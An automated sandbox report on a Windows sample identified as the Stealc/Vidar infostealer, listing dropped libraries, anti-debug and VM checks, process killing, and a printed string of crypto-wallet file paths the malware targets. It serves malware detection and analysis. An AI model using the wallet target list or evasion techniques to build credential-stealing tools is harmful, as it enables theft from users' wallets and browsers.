Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: glpEv3POe7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: glpEv3POe7.exe, 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: glpEv3POe7.exe, 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A6710 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_005A6710

Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A78C5 push ecx; ret		0_2_005A78D8
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C48B536 push ecx; ret		0_2_6C48B549

Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\glpEv3POe7.exe

0_2_005A6710

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\glpEv3POe7.exe

API coverage: 7.6 %

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0058DD70 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0058DD70
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005915E0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_005915E0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005815A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_005815A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059D640 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0059D640
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00594EC0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_00594EC0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00592747 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00592747
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059E330 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0059E330
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059CCE0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0059CCE0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005815B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_005815B9
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_0059DE50 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	0_2_0059DE50
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_00592749 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00592749

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A3190 GetSystemInfo,wsprintfA,

0_2_005A3190

Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarey
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#,

Source: C:\Users\user\Desktop\glpEv3POe7.exe

API call chain: ExitProcess graph end node

graph_0-93897

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A75E8 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_005A75E8

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_00584980 VirtualProtect 00000000,00000004,00000100,?

0_2_00584980

Source: C:\Users\user\Desktop\glpEv3POe7.exe

0_2_005A6710

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A63C0 mov eax, dword ptr fs:[00000030h]

0_2_005A63C0

Source: C:\Users\user\Desktop\glpEv3POe7.exe

0_2_00586000

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A75E8 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005A75E8
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A7BCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_005A7BCA
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A97A9 SetUnhandledExceptionFilter,	0_2_005A97A9
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C48B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C48B66C
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C48B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C48B1F7
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C63AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C63AC62

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: glpEv3POe7.exe PID: 7548, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A4630 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,		0_2_005A4630
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A46C0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,		0_2_005A46C0

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_6C48B341 cpuid

0_2_6C48B341

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_005A2D00

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A3E10 lstrcpy,lstrcpy,GetSystemTime,

0_2_005A3E10

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A29E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_005A29E0

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A2BB0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_005A2BB0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: glpEv3POe7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1667691355.00000000005AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: glpEv3POe7.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: glpEv3POe7.exe PID: 7548, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: glpEv3POe7.exe, 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.YqU
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\.YqU
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.json
